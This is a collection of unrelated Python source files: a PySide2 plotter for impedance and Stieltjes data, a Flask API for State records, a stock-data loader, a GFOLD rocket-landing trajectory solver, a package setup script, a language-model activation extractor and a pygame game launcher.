        self.graphData = [[],[]] #set by populateData()
        self.mode, zetaFZeta = self.detectMode() #is set by populateData()
        self.sameCurve = sameCurveArg #set by user. whether the data lies on the extrapolation curve.
        self.status, fZeta = self.detectStatus() #whether to show caprini functions

        #setup graphs!
        self.graph = Qt.QFrame()
        graphLayout = Qt.QVBoxLayout()
        self.graphCanvas = MplCanvas(self,self.mode, self.status, dpi=100)
        toolbar = NavigationToolbar(self.graphCanvas, self)
        graphLayout.addWidget(toolbar)
        graphLayout.addWidget(self.graphCanvas)
        self.graph.setLayout(graphLayout)
        self.graph.setFrameShape(Qt.QFrame.Panel)
        self.graph.setFrameShadow(Qt.QFrame.Sunken)
        self.graph.setLineWidth(2)

        graphLayout = Qt.QVBoxLayout()  #update topLevelLayout to include graphs!
        graphLayout.addWidget(self.graph)
        self.topLevelLayout.addItem(graphLayout)
        self.populateData(zetaFZeta, fZeta)      #take in txt file data and add it to graphs.
        self.setLayout(self.topLevelLayout)
        self.setWindowState(PySide2.QtCore.Qt.WindowState.WindowMaximized)

    def populateData(self, zetaFZeta, fZeta): #figure out graph contents
        #populate data for correct graph
        if self.mode == "Nyquist":
            self.populateNyquist(zetaFZeta, fZeta)
        elif self.mode == "Voigt":
            self.populateVoigt(zetaFZeta, fZeta)
        if(self.status):
            self.populateCaprinis()

    def populateNyquist(self, zetaFZeta, fZeta): #update nyquist plot
        #Spectral rep and Extrapolation curves
        Z, W = [], []
        for row in zetaFZeta:
            Z.append(complex(row[0], row[1]))   #needed for spectral rep
            W.append(complex(row[2], row[3]))   #extrapolation
        fZ = self.computeSpectralRep(Z, fZeta)  #finish computing spectral rep
        #Uncertainty curves
        dataSizes = self.loadFileIntoNestedArrays("data_sizes.txt")
        NMC = int(dataSizes[2][0])
        nZeta = int(dataSizes[1][0])
        count = 0
        if NMC > 0:
            MonteCarlo = self.loadFileIntoNestedArrays("WMC.txt")
            WMC = []
            for k in range(nZeta): #iteration is not row->col to suit WMC.txt format.
                for j in range(NMC):
                    if(k==0):
                        WMC.append([])
                    WMC[j].append(complex(MonteCarlo[count][0], MonteCarlo[count][1]))
                    count=count+1
        #actually plot the results
        for j in range(NMC):
            self.graphCanvas.drawLinLin("N",np.real(WMC[j]),np.imag(WMC[j]),"Uncertainty", "silver")
        self.graphCanvas.drawLinLin("N",np.real(W), np.imag(W), "Extrapolation", "orange") #graph extrapolation
        self.graphCanvas.drawLinLin("N",np.real(fZ), np.imag(fZ), "Spectral Rep", "cyan") #graph spectral rep
        #plot original points if extrap is on same curve is on original data.
        if self.sameCurve:
            expData = self.loadFileIntoNestedArrays("exp_data.txt")
            if self.status:
                wfix = np.transpose(self.loadFileIntoNestedArrays("wfix.txt"))
                self.graphCanvas.drawLinLinDots("N", wfix[0], wfix[1], "Alternative Data", "red")
            wOrig = []
            for row in expData:
                wOrig.append(complex(row[2], row[3]))
            self.graphCanvas.drawLinLinDots("N", np.real(wOrig), np.imag(wOrig), "W Original", "black")

    def computeSpectralRep(self, Z, fZeta):
        sk = [] #sk is the 2nd column of fzeta.
        tk = [] #tk is the 1st column of fzeta, w/out the 1st element
        for i in range(len(fZeta)):
            sk.append(fZeta[i][1])
            if i != 0:
                tk.append(fZeta[i][0])
        M=[]  #M = 1/(tk - Z), tk is a column, Z is a row.
        for i in range(len(tk)):
            M.append([])
            for j in range(len(Z)):
                M[i].append( 1/(tk[i] - Z[j]) )
        Mt = np.transpose(M)
        fZ = np.matmul(Mt,sk[1:]) #fZ=[] #fZ=sk[0] + M.'* sk[1:]
        fZ = [sk[0] + i for i in fZ]
        return fZ

    def populateVoigt(self, zetaFZeta, fZeta):
        # fZ exp data [freq,re(Z),im(Z)]; wfix=alternative data
        # f=all frequencies, F=Z(f) is the model
        # Z(n_zeta,2) is the extrapolation
        # EIS(f)=F_spectral(f), WZ(n_zeta,Nr)=monte-carlo
        dataSizes=self.loadFileIntoNestedArrays('data_sizes.txt');
        fZ1Split = self.loadFileIntoNestedArrays("Voigt_data.txt")
        Nr = int(dataSizes[2][0])
        #unpack data
        freq, fZ1, f1, sk, tk, zetaFZetaCombined  = [],[],[],[],[],[]
        for row in fZ1Split:
            freq.append(row[0])
            fZ1.append(complex(row[1], row[2]))
        for row in zetaFZeta:
            f1.append(row[0])
        nZeta = len(f1)
        for i in range(len(fZeta)):
            if i > 0:
                tk.append(fZeta[i][0])
            sk.append(fZeta[i][1])
        for row in zetaFZeta:
            zetaFZetaCombined.append(complex(row[1], row[2]))
        #compute M and EIS - to show voigt circuit on graphs.
        M=[]  #M=1./(tk+2i*pi*f1');
        for i in range(len(tk)):
            M.append([])
            for j in range(len(f1)):
                M[i].append( 1/(complex(tk[i], f1[j]*2*np.pi)) )
        Mt = np.transpose(M)
        EIS = sk[0] + np.matmul(Mt, sk[1:])
        #uncertainty lines retrieved and computed
        if Nr > 0:
            WZ = []
            WMC = self.loadFileIntoNestedArrays("WMC.txt");
            count=0;
            for k in range(nZeta):
                for j in range(Nr):
                    if(k==0):
                        WZ.append([])
                    WZ[j].append( complex(WMC[count][0], WMC[count][1]) )
                    count+=1
        #uncertainty
        for i in range(Nr):
            self.graphCanvas.drawSemiLogX("TV", f1, np.real(WZ[i]), "Uncertainty", "silver")
            self.graphCanvas.drawSemiLogX("BV", f1, np.imag(WZ[i]), "Uncertainty", "silver")
        if self.status: #alternative data is only printed if status is true.
            wfix = self.loadFileIntoNestedArrays("wfix.txt")
            wfix = np.transpose(wfix)
            self.graphCanvas.drawSemiLogXDots("TV", freq, wfix[0], "Alternative Data","red")
            self.graphCanvas.drawSemiLogXDots("BV", freq, wfix[1], "Alternative Data","red")
        #upper graph - real part
        self.graphCanvas.drawSemiLogXDots("TV", freq, np.real(fZ1), "Data","black")
        self.graphCanvas.drawSemiLogX("TV", f1, np.real(zetaFZetaCombined), "Extrapolation", "black")
        self.graphCanvas.drawSemiLogX("TV", f1, np.real(EIS), "Voigt Circuit", "cyan")
        #lower graph - imaginary part
        self.graphCanvas.drawSemiLogXDots("BV", freq, np.imag(fZ1), "Data","black")
        self.graphCanvas.drawSemiLogX("BV", f1, np.imag(zetaFZetaCombined), "Extrapolation", "black")
        self.graphCanvas.drawSemiLogX("BV", f1, np.imag(EIS), "Voigt Circuit", "cyan")

    def populateCaprinis(self):
        capriniData = self.loadFileIntoNestedArrays("tC.txt") #The Caprini function [t(k),C(t(k))]
        tC = [] #data to be graphed - x
        C = []     #y axis data
        for row in capriniData:
            tC.append(row[0])
            C.append(row[1])
        self.graphCanvas.drawSemiLogX("TC",[tC[0],tC[len(tC)-1]],[0,0],"","red") #draw baseline
        self.graphCanvas.drawSemiLogX("TC", tC, C, "", "blue" )   #draw caprini
        self.graphCanvas.drawSemiLogX("BC",[tC[0],tC[len(tC)-1]],[0,0],"","red") #draw baseline
        self.graphCanvas.drawSemiLogX("BC",tC, C, "", "blue")    #draw caprini mins
        #scale the bottom graph to show zeros
        CMin, CMax = self.getgraphScale(C)
        tMin = min(tC)
        tMax = max(tC)
        self.graphCanvas.setGraphScale("BC",tMin, tMax, CMin, CMax)
        self.graphCanvas.axisDict["TC"].set_xlim(tMin, tMax)

    def getgraphScale(self, C): #find local minima, and figure out suitable graph scale.
        diffs = np.diff(C)
        CLocalMins = []
        lastNegative = False
        for i in range(len(diffs)):
            thisPositive = diffs[i] > 0
            if(lastNegative and thisPositive):
                CLocalMins.append(C[i])
            lastNegative = diffs[i] < 0
        biggestMin = max(CLocalMins)
        smallestMin = min(CLocalMins)
        CMax=max([-10*smallestMin,1.1*biggestMin,1.e-9*max(C)])
        CMin = -1.e-10*max(C)
        return CMin, CMax

    def detectMode(self):
        zetaFZeta=self.loadFileIntoNestedArrays('W_extr.txt')
        if len(zetaFZeta[0]) == 4:
            return "Nyquist", zetaFZeta
        elif len(zetaFZeta[0]) == 3:
            return "Voigt", zetaFZeta
        else:
            return "UnknownData", zetaFZeta

    def detectStatus(self):
        fZeta = self.loadFileIntoNestedArrays("spectral_measure.txt")
        if(fZeta[0][0] == 0): #determine if caprinis should be shown.
            return False, fZeta
        else:
            return True, fZeta

    def loadFileIntoNestedArrays(self, filename): #load a data file into a 2d array
        dataList = []
        with open(filename, 'r') as csvfile:
            csvreader = csv.reader(csvfile, delimiter=" ")
            #fields = next(csvreader)
            i = 0 #counter variable needed iteration over len(csvreader) not possible
            for row in csvreader: #fill in data
                dataList.append([]) #add next column of dataList
                for j in range(len(row)):
                    if(row[j] != ""):
                        dataList[i].append(float(row[j]))
                i+=1
        return dataList

if __name__ == '__main__':
    # Create the Qt Application
    app = Qt.QApplication(sys.argv)
    # Create and show the form
    form = StieltjesGraphWindow(SameCurve)
    form.show()
    # Run the main Qt loop
    sys.exit(app.exec_())


#!/usr/bin/python3
"""new view for State objects"""
from api.v1.views import app_views
from models import storage
from models.state import State
from flask import jsonify, abort, request

@app_views.route(
    '/states',
    methods=['GET', 'POST'],
    strict_slashes=False
)
def states():
    """ GET and POST   """

    if request.method == "GET":
        states = [state.to_dict() for state in storage.all('State').values()]
        return jsonify(list(states))

    if request.method == "POST":
        jreq = request.get_json()
        if jreq is None:
            abort(400, 'Not a JSON')

        if 'name' not in jreq.keys():
            abort(400, 'Missing name')

        state = State(**jreq)
        state.save()
        return jsonify(state.to_dict()), 201

@app_views.route(
    '/states/<state_id>',
    methods=['GET', 'DELETE', 'PUT'],
    strict_slashes=False
)
def state(state_id):
    """ GET, DELETE, and PUT """

    state = storage.get(State, state_id)
    if state is None:
        abort(404)

    if request.method == "GET":
        return jsonify(state.to_dict())

    if request.method == "DELETE":
        state.delete()
        storage.save()
        return jsonify({})

    if request.method == "PUT":
        jreq = request.get_json()
        if jreq is None:
            abort(400, 'Not a JSON')

        for k, v in jreq.items():
            if k not in ['id', 'created_at', 'updated_at']:
                setattr(state, k, v)
        state.save()
        return jsonify(state.to_dict())


from __future__ import division
from __future__ import absolute_import
from __future__ import print_function

from pgportfolio.marketdata.coinlist import CoinList
import numpy as np
import pandas as pd
from pgportfolio.tools.data import panel_fillna
from pgportfolio.constants import *
import sqlite3
from datetime import datetime
import logging

from pandas_datareader import data as pdr
from datetime import date
from ta import add_all_ta_features
from ta.utils import dropna

class StockHistoryManager:
    # if offline ,the coin_list could be None
    # NOTE: return of the sqlite results is a list of tuples, each tuple is a row
    def __init__(self, coin_number, end, stocks, volume_average_days=1, volume_forward=0, online=True):
        self.__storage_period = FIVE_MINUTES  # keep this as 300
        self._coin_number = coin_number
        self.__volume_forward = volume_forward
        self.__volume_average_days = volume_average_days
        self.__coins = stocks

    def coins(self):
        return self.__coins

    def get_global_data_matrix(self, start, end, features=('close',)):
        """
        :return a numpy ndarray whose axis is [feature, coin, time]
        """
        return self.get_global_dataframe(start, end, features).values

    # returns the securities and tech ind into a multiIndex dataframe
    def get_global_dataframe(self, start, end, features, stocks):
        #Sample start and end
        df_list = []                # list of all dataframes for stocks

        # features = [feature.capitalize() for feature in features]

        def getData(ticker):
            startdt = datetime.fromtimestamp(start)         # convert timestamp to date and time
            enddt = datetime.fromtimestamp(end)
            print("getting stock data from: " + ticker)
            data = pdr.DataReader(ticker,start=startdt, end=enddt, data_source='yahoo')     # get the security data from yfinance
            df = pd.DataFrame(data, columns = ['Close','High','Low','Open','Volume'])       # construct dataframe with security data
            df = add_all_ta_features(df, open="Open", high="High", low="Low", close="Close", volume="Volume", fillna='bfill')  # add all tech ind, with back fill for NaN values
            df.fillna(method='ffill', inplace=True)         # forward fill NaN if necessary
            df.columns = df.columns.str.lower()             # lowercase columns for proper input
            df = df[features]                               # crop the dataframe to include only features the user wants
            df_list.append(df)                  # puts dataframe into the list

        for tik in stocks:          # calls each security to be added to the dataframe
            df = getData(tik)

        df = pd.concat(df_list, axis=1, join='outer')           # concatenate the list of dataframes into one Multi Index dataframe
        df.fillna(method='bfill', inplace=True)
        df.fillna(method='ffill', inplace=True)

        df.index.name = None            # remove the name index
        index = pd.MultiIndex.from_product([df.index])
        columns = pd.MultiIndex.from_product([stocks, features])

        # contains the final dataframe in proper format for the neural netwoek
        panel = pd.DataFrame(df.values, index=index, columns=columns, dtype="float64")
        print(panel)
        return panel

    # select top coin_number of coins by volume from start to end
    def select_coins(self, start, end):
        pass


import cvxpy as cvp
import numpy as np
from collections import namedtuple

from mayavi import mlab
from mayavi.mlab import points3d, plot3d, quiver3d
import matplotlib.pyplot as plt

"""
http://www.larsblackmore.com/iee_tcst13.pdf

carrying the same assumption here that X is up (i.e. normal to land)

TODO:
    - fix q definition to be the y,z coordinate instead of xyz
    - figure out how to best pick an initial tf
    - make alpha a parameter istead of isp

"""

GFoldConfig = namedtuple('GFoldConfig', ['isp', 'm', 'm_fuel',
                                         'p1', 'p2',
                                         'g', 'pointing_lim', 'landing_cone',
                                         'q', 'v_max', 'w'])

_e1 = np.array([1, 0 ,0]).T
_e2 = np.array([0, 1 ,0]).T
_e3 = np.array([0, 0 ,1]).T
_E = np.array([[0, 1, 0], [0, 0, 1]])

def create_S(w):
    S = np.array([[0, -w[2], w[1]],
                  [w[2], 0, -w[0]],
                  [-w[1], w[0], 0]])
    return S

def create_A(w):
    S = create_S(w)
    A = np.zeros((6, 6))
    A[0:3, 3:6] = np.eye(3)
    A[3:6, 0:3] = -np.square(S)
    A[3:6, 3:6] = -2*S
    return A

def create_B():
    B = np.zeros((6, 3))
    B[0:3, :] = np.eye(3)
    return B

def get_cone(cone_angle):
    # cone angle between 0 and pi/2
    return _e1 / np.tan(cone_angle)

class GFOLDSolverPosition:
    def __init__(self, config, iterations):
        N = iterations
        self.N = N
        self.config = config

        # Parameters
        self.dt = cvp.Parameter()
        self.x_0 = cvp.Parameter(6)

        # Solved variables
        self.x = cvp.Variable((6, N))
        self.u = cvp.Variable((3, N))
        self.gam = cvp.Variable(N)
        self.z = cvp.Variable(N)

        # Problem 3
        self.constr = []
        self.constr = set_initial_constraints(self.constr, config, self.x, self.u, self.gam, self.z, N, self.x_0)
        self.constr = running_constraints(self.constr, config, self.x, self.u, self.gam, self.z, self.dt, N)
        self.obj = cvp.norm(self.x[0:3, N-1] - config.q[:])
        self.problem = cvp.Problem(cvp.Minimize(self.obj), self.constr)

    def initialize_dt(self, start_vel):
        alpha = 1.0 / (self.config.isp * 9.8)
        t_max = self.config.m / (alpha * self.config.p2)  # this differs from the paper, but using p1 results in cvp.log to return nan
        t_min = (self.config.m - self.config.m_fuel) * np.linalg.norm(start_vel) / self.config.p2
        print("Full time: ", (0.5*t_max + 0.5*t_min))
        self.dt.value = (0.5*t_max + 0.5*t_min) / self.N

    def solve(self, start_pos, start_vel):
        self.initialize_dt(start_vel)
        self.x_0.value = np.array([*start_pos, *start_vel])

        self.problem.solve(solver=cvp.ECOS, verbose=True)
        return self.x.value, self.u.value, self.gam.value, self.z.value

class GFOLDSolverMass(GFOLDSolverPosition):
    def __init__(self, config, iterations):
        super().__init__(config, iterations)
        self.d_p3 = cvp.Parameter(3)
        self.constr += [cvp.norm(self.x[:3, self.N-1] - config.q) <= cvp.norm(self.d_p3 - config.q)]
        self.problem = cvp.Problem(cvp.Maximize(self.z[self.N-1]), self.constr)

    def solve(self, d_p3, start_pos, start_vel):
        self.initialize_dt(start_vel)
        self.d_p3.value = d_p3
        self.x_0.value = np.array([*start_pos, *start_vel])

        self.problem.solve(solver=cvp.ECOS, verbose=False, max_iters=400)
        first_mass = self.z[-1].value
        print("Start dt: ", self.dt.value)
        self.dt.value = (self.N * self.dt.value + 1e-1)  / self.N
        print("end dt: ", self.dt.value)
        self.problem.solve(solver=cvp.ECOS, verbose=False, max_iters=400)
        second_mass = self.z[-1].value
        print("Mass change: ", first_mass - second_mass)
        return self.x.value, self.u.value, self.gam.value, self.z.value

class GFOLDSolver:
    def __init__(self, config, iterations):
        self.config = config
        self.position_solver = GFOLDSolverPosition(config, iterations)
        self.mass_solver  = GFOLDSolverMass(config, iterations)

    def solve(self, start_pos, start_vel):
        print("Solving position problem")
        x1, u1, gam1, z1 = self.position_solver.solve(start_pos, start_vel)
        # TODO: solve the mass problem efficiently!
        #print("Solving mass problem")
        #x2, u2, gam2, z2 = self.mass_solver.solve(x1[0:3,-1], start_pos, start_vel)
        return x1, u1, gam1, z1, self.position_solver.dt.value

def set_initial_constraints(constr, config, x, u, gam, z, N, x_0):
    constr += [x[:, 0] == x_0[:]]   # Initial velocity and position
    constr += [x[3:6, N-1] == np.array([0, 0, 0])]  # Final velocity == 0

    # TODO (make initial thrust direction a parameter)
    constr += [u[:, 0] == gam[0]*_e1] # Initial thrust is vertical
    constr += [u[:, N-1] == gam[N-1]*_e1] # final thrust is vertical (or 0)
    constr += [z[0] == cvp.log(config.m)] # Initial mass

    constr += [x[0, N-1] == 0]  # Final altitude should be 0
    constr += [x[0, 0:N-1] >= 0]  # All altitudes during flight should be above the ground
    return constr

def running_constraints(constr, config, x, u, gam, z, dt, N):
    A_w = create_A(config.w)
    alpha = 1.0 / (config.isp * 9.8)
    pointing_angle = np.cos(config.pointing_lim)
    p1 = config.p1
    p2 = config.p2
    v_max = config.v_max
    c = get_cone(config.landing_cone)
    g = config.g

    # Simple Euler integration
    for k in range(N-1):
        # Rocket dynamics constraints
        constr += [x[0:3, k+1] == x[0:3, k] + dt*(A_w@x[:, k])[0:3]]
        constr += [x[3:6, k+1] == x[3:6, k] + dt*(g + u[:, k])]
        constr += [z[k+1] == z[k] - dt*alpha*gam[k]]

        constr += [cvp.norm(x[3:6, k]) <= v_max]  # Velocity remains below maximum
        constr += [cvp.norm(u[:,k]) <= gam[k]]  # Helps enforce the magnitude of thrust vector == thrust magnitude
        constr += [u[0,k] >= pointing_angle*gam[k]]  # Rocket can only point away from vertical by so much
        constr += [cvp.norm(_E@(x[:3,k] - x[:3,-1])) - c.T@(x[:3, k] - x[:3,-1]) <= 0]  # Stay inside the glide cone

        if k > 0:
            z_0 = cvp.log(config.m - alpha * p2 * (k) * dt)
            z_1 = cvp.log(config.m - alpha * p1 * (k) * dt)

            sigma_lower = p1 * cvp.exp(-z_0) * (1 - (z[k] - z_0) + (z[k] - z_0))
            sigma_upper = p2 * cvp.exp(-z_0) * (1 - (z[k] - z_0))

            # Minimimum and maximum thrust constraints
            constr += [gam[k] <= sigma_upper]
            constr += [gam[k] >= sigma_lower]
            # Minimum and maximum mass constraints
            constr += [z[k] >= z_0]
            constr += [z[k] <= z_1]
    return constr

def solve_gfold(config, start_pos, start_vel, iterations=100):
    solver = GFOLDSolver(config, iterations)
    x, u, gam, z, dt = solver.solve(start_pos, start_vel)
    return x, u, gam, z, dt

if __name__ == "__main__":
    config = GFoldConfig(isp=350,
                         m=12000,
                         m_fuel=1000,
                         p1=0.001*250000,
                         p2=0.5*250000,
                         g=np.array([-3, 0, 0]),
                         pointing_lim=np.deg2rad(45),
                         landing_cone=np.deg2rad(30),
                         q=np.array([0, 0, 0]),
                         v_max=1000,
                         w=np.array([0, 0, 0])
                         )

    start_pos = np.array([25000, 10000, 10000])
    start_vel = np.array([-300, -300, 300])

    x, u, gam, z = solve_gfold(config, start_pos, start_vel)
    print(f"final values:\nx: {x[:,-1]}\nu: {u[:,-1]}", )

    f = mlab.figure(bgcolor=(0, 0, 0))
    points3d([0], [0], [0], scale_factor=200.0, resolution=128, color=(0, 0.5, 0.5))
    s = plot3d(x[0,:], x[1,:], x[2,:], tube_radius=5.0, colormap='Spectral')
    v = quiver3d(x[0,:], x[1,:], x[2,:], u[0,:], u[1,:], u[2,:])
    mlab.axes()
    mlab.show()


#!/usr/bin/env python

# Requires PyQt5 and compiltion of GUI files via pyuic
from setuptools import setup, Extension
from setuptools.command.build_py import build_py

try:
    from pyqt_distutils.build_ui import build_ui
except ImportError:
    print("Please install pyqt_distutils")
    print( "(sudo) pip(3) install pyqt-distutils")
    exit()

class custom_build_py(build_py):
    def run(self):
        self.run_command('build_ui')
        build_py.run(self)

with open("README.md", "r") as fh:
    long_description = fh.read()

setup(name='Akvo',
      version='1.7.3',
      python_requires='>3.7.0', # due to pyLemma
      description='Surface nuclear magnetic resonance workbench',
      long_description=long_description,
      long_description_content_type='text/markdown',
      author='Trevor P. Irons',
      author_email='Trevor.Irons@lemmasoftware.org',
      url='https://akvo.lemmasoftware.org/',
      #setup_requires=['PyQt5'],
      setup_requires=[
        # Setuptools 18.0 properly handles Cython extensions.
        #'PyQt',
        'pyqt_distutils',
        'PyQt5',
        'setuptools>=18.0',
      ],
#      ext_modules = cythonise("akvo/tressel/*.pyx"),
#      build_requires=['cython'],
      install_requires=[
#         'cython',
#          'rpy2',
          'matplotlib',
          'scipy',
          'padasip',
          'seaborn',
          'numpy',
          'pyqt5',
          'pyyaml',
          'ruamel.yaml',
          'pandas',
          'pyqt-distutils',
          'cmocean',
          'pyLemma >= 0.4.0'
      ],
      packages=['akvo', 'akvo.tressel', 'akvo.gui'],
      license='GPL 4.0',
      entry_points = {
              'console_scripts': [
                  'akvo = akvo.gui.akvoGUI:main',
                  'akvoK0 = akvo.tressel.calcAkvoKernel:main',
                  'akvoQT = akvo.tressel.invertTA:main',
              ],
          },
      #cmdclass = cmdclass,
      # for forced build of pyuic
      cmdclass={
          'build_ui': build_ui,
          'build_py': custom_build_py,
      },
      # Mechanism to include auxiliary files
      # commenting out may be necessary?
      #include_package_data=True,
      package_data={
        'akvo.gui': ['*.png'],
        'akvo.gui': ['*.ui'],
        '': ['*.png'],
      },
      classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)",
        "Operating System :: OS Independent",
      ],
    )


"""
Extract activations from a model, almost completely and shamelessly copied from
https://github.com/dieuwkehupkes/diagnosing_lms/tree/interventions.
"""

# STD
from argparse import ArgumentParser

# EXT
from diagnnose.config.setup import ConfigSetup
from diagnnose.extractors.base_extractor import Extractor
from diagnnose.models.language_model import LanguageModel
from diagnnose.typedefs.corpus import LabeledCorpus, LabeledSentence
from diagnnose.models.import_model import import_model_from_json
from diagnnose.corpora.import_corpus import convert_to_labeled_corpus

def init_argparser() -> ArgumentParser:
    parser = ArgumentParser()

    # create group to load config from a file
    from_config = parser.add_argument_group('From config file',
                                            'Provide full experiment setup via config file')
    from_config.add_argument('-c', '--config',
                             help='Path to json file containing extraction config.')

    # create group to provide info via commandline arguments
    # Required args are not set to be required here as they can come from --config
    from_cmd = parser.add_argument_group('From commandline',
                                         'Specify experiment setup via commandline arguments')
    from_cmd.add_argument('--model',
                          help='Path to model parameters')
    from_cmd.add_argument('--vocab',
                          help='Path to model vocabulary')
    from_cmd.add_argument('--lm_module',
                          help='Path to folder containing model module')
    from_cmd.add_argument('--corpus_path',
                          help='Path to labeled corpus')
    from_cmd.add_argument('--activation_names',
                          help='Activations to be extracted', nargs='*')
    from_cmd.add_argument('--output_dir',
                          help='Path to folder to which extracted embeddings will be written.')
    from_cmd.add_argument('--device',
                          help='(optional) Torch device name on which model will be run.'
                               'Defaults to cpu.')
    from_cmd.add_argument('--init_lstm_states_path',
                          help='(optional) Location of initial lstm states of the model. '
                               'If no path is provided zero-initialized states will be used at the'
                               'start of each sequence.')
    from_cmd.add_argument('--print_every', type=int,
                          help='(optional) Print extraction progress every n steps.'
                               'Defaults to 20.')
    from_cmd.add_argument('--cutoff', type=int,
                          help='(optional) Stop extraction after n sentences. '
                               'Defaults to -1 to extract entire corpus.')

    return parser

def subj_selection_func(pos: int, token: str, sentence: LabeledSentence):
    """ Select activations only when they occur on the subject's position. """
    return pos == sentence.misc_info["subj_pos"]

def pos_4_selection_func(pos: int, token: str, sentence: LabeledSentence):
    """ Select activations only on position 4. """
    return pos == 4

if __name__ == "__main__":
    required_args = {'model', 'vocab', 'lm_module', 'corpus_path', 'activation_names', 'output_dir'}
    arg_groups = {
        'model': {'model', 'vocab', 'lm_module', 'device'},
        'corpus': {'corpus_path'},
        'init_extract': {'activation_names', 'output_dir', 'init_lstm_states_path'},
        'extract': {'cutoff', 'print_every'},
    }
    argparser = init_argparser()

    config_object = ConfigSetup(argparser, required_args, arg_groups)
    config_dict = config_object.config_dict

    model: LanguageModel = import_model_from_json(**config_dict['model'])
    corpus: LabeledCorpus = convert_to_labeled_corpus(**config_dict['corpus'])

    extractor = Extractor(model, corpus, **config_dict['init_extract'])
    extractor.extract(**config_dict['extract'], selection_func=pos_4_selection_func)

    # In case you want to extract average eos activations as well, uncomment this line
    # extractor.extract_average_eos_activations(print_every=config_dict['extract']['print_every'])


import os
import sys
os.environ["PYTHONDONTWRITEBYTECODE"] = 'stobbit'

import time
import logging
import datetime
import argparse
import threading

from array import array, typecodes

try:
    import pygame
except ImportError as e:
    print("Can't import `pygame`. Did you remember to activate the virtual environment?")
    sys.exit(5)

def get_args():
    parser = argparse.ArgumentParser()

    parser.add_argument('--solo', action='store_true', help='Launch level with no network capabilities. Overrides server and client.')
    parser.add_argument('--server', action='store_true', help='Launch level with server capabilities. Overrides client.')
    parser.add_argument('--useserver', help='Launch level as client connecting to specified server IP address.')
    parser.add_argument('--debug', action='store_true',help='Display variables from the player')
    parser.add_argument('-u', '--username', required=True, help='Username')
    parser.add_argument('-c', '--color', required=True, help='Username')
    parser.add_argument('-r', '--resolution', help='resolution to run game at')

    return parser.parse_args()

def test(args):
    # Testing basic movement, weapons, environment here.
    os.system("cls")
    logging.error("Beginning the pygame test\n\n")
    logging.info(f"pygame version: {pygame.__version__}")
    global USERNAME

    USERNAME = args.username

    color = args.color.upper()
    if color not in CN.COLOR_DICT:
        raise ValueError("Must be one of BLACK, WHITE, RED, GREEN, BLUE, YELLOW, CYAN, MAGENTA")

    start_game(args)

def make_text(text, color, bgcolor, top, left):
    '''
    Create rough text box to blit onto screen
    '''
    textSurf = CN.BASICFONT.render(text, True, color, bgcolor)
    textRect = textSurf.get_rect()
    textRect.topleft = (top, left)
    return (textSurf, textRect)

def get_screen_size(res):
    '''
    Get screen area from args, and return default value if not parseable
    '''
    try:
        w, h = res.split('x')
        return (int(w), int(h))
    except:
        return CN.SCREEN_REZ

def get_proper_screen_size(w,h):
    '''
    Force screen size to be 16x9
    '''
    # TODO: Python float storage imperfect, rejigger this plz
    while float(w)/float(h) != CN.SCREEN_ASPECTRATIO:
        if float(w)/float(h) > CN.SCREEN_ASPECTRATIO:
            # too wide, base off of height
            w = int(16*(float(h)/9))
        else:
            # too narrow, base off of width
            h = int(9*(float(w)/16))
    return w,h

def start_server():
    '''
    Run the server for the game. Eventually build the game loop here.
    '''
    from MMX_Combat.network.server import MMXServer
    from time import sleep
    server = MMXServer(localaddr=('', 12000))
    logging.debug(server)
    pygame.init()
    server_clock = pygame.time.Clock()
    while True:
        server.CalcAndPump()
        server_clock.tick(CN.FPS)

def start_game(args):
    '''
    The actual game function. Imports necessary modules, builds level (should
    move this to server), makes player, and houses main game loop.
    '''

    # Import game-specific modules
    from MMX_Combat.player import BasePlayerObj, LocalPlayerObj, DummyJoystick
    from MMX_Combat.environment import BaseEnvironmentObj, TestLevel, ServerTestLevel
    from MMX_Combat.camera import Camera, complex_camera
    from MMX_Combat.network.server import MMXServer

    DEBUG = args.debug

    # Initialize key program elements
    pygame.init()
    FPSCLOCK = pygame.time.Clock()
    SCREEN = pygame.display.set_mode(get_screen_size(args.resolution), pygame.HWSURFACE | pygame.DOUBLEBUF | pygame.RESIZABLE)
    CAMERA_SCREEN = pygame.Surface(CN.SCREEN_REZ)

    pygame.display.set_caption(f'MMX Combat: {args.username}')

    BASICFONT = pygame.font.Font(None, CN.BASICFONTSIZE)

    if not pygame.joystick.get_init():
        pygame.joystick.init()

    attached_joysticks = pygame.joystick.get_count()
    if attached_joysticks:
        # logging.debug(f"Attached joysticks: {attached_joysticks}")
        # logging.debug("Getting first joystick")
        jstick = pygame.joystick.Joystick(0)
        jstick.init()
    else:
        jstick = DummyJoystick()

    if args.solo:
        level = TestLevel(CN.DEFAULT_SERVER_IP, CN.DEFAULT_SERVER_PORT, args.username, network=False)
    elif args.server:
        threading.Thread(target=start_server, daemon=True, name='server_thread').start()
        # time.sleep(3)
        level = ServerTestLevel(CN.DEFAULT_SERVER_IP, CN.DEFAULT_SERVER_PORT, args.username)
    elif args.useserver:
        level = ServerTestLevel(args.useserver, CN.DEFAULT_SERVER_PORT, args.username)

    # logging.debug(f'Level block size: ({level.block_width}x{level.block_height})')
    MINIMAP_SCREEN = pygame.Surface((level.width, level.height))
    show_minimap = False

    all_players = []

    local_player = LocalPlayerObj(USERNAME, level, jstick, args.color)
    # local_player = LocalPlayerObj(USERNAME, level, jstick, player_color, {"MAX_SHOTS":2})
    all_players.append(local_player)

    level.player_names.add(USERNAME)

    # for remote_player in get_all_remote_players(level):
    #     all_players.append(remote_player)

    for player in all_players:
        player.walls = level.wall_list
        level.all_sprite_list.add(player)
        level.players.add(player)

    longest_proc_frame = 0

    frame_history = array('f')

    player_camera = Camera(complex_camera, level.width, level.height)

    in_focus = True

    # main game loop
    while True:
        # os.system("cls")
        pressed_keys = []
        pressed_keys_str = ''
        cur_keys = pygame.key.get_pressed()
        cur_hat = jstick.get_hat(0)
        if cur_keys[pygame.K_LEFT] or cur_keys[pygame.K_RIGHT] or cur_hat[0] != 0:
            if cur_keys[pygame.K_LEFT] or cur_hat[0] == -1:
                local_player.go_left()
            if cur_keys[pygame.K_RIGHT] or cur_hat[0] == 1:
                local_player.go_right()
        else:
            local_player.stop()

        if local_player._check_control_down():
            local_player.duck()
        if local_player._check_control_jump():
            local_player.jump()
        if local_player._check_control_fire():
            local_player.charge()
        if local_player._check_control_dash():
            local_player.dash()
        if (cur_keys[pygame.K_KP_MINUS] or cur_keys[pygame.K_MINUS]) and CN.FPS > 1:
            CN.FPS -= 1
        if (cur_keys[pygame.K_KP_PLUS] or cur_keys[pygame.K_PLUS])and CN.FPS < 30:
            CN.FPS += 1

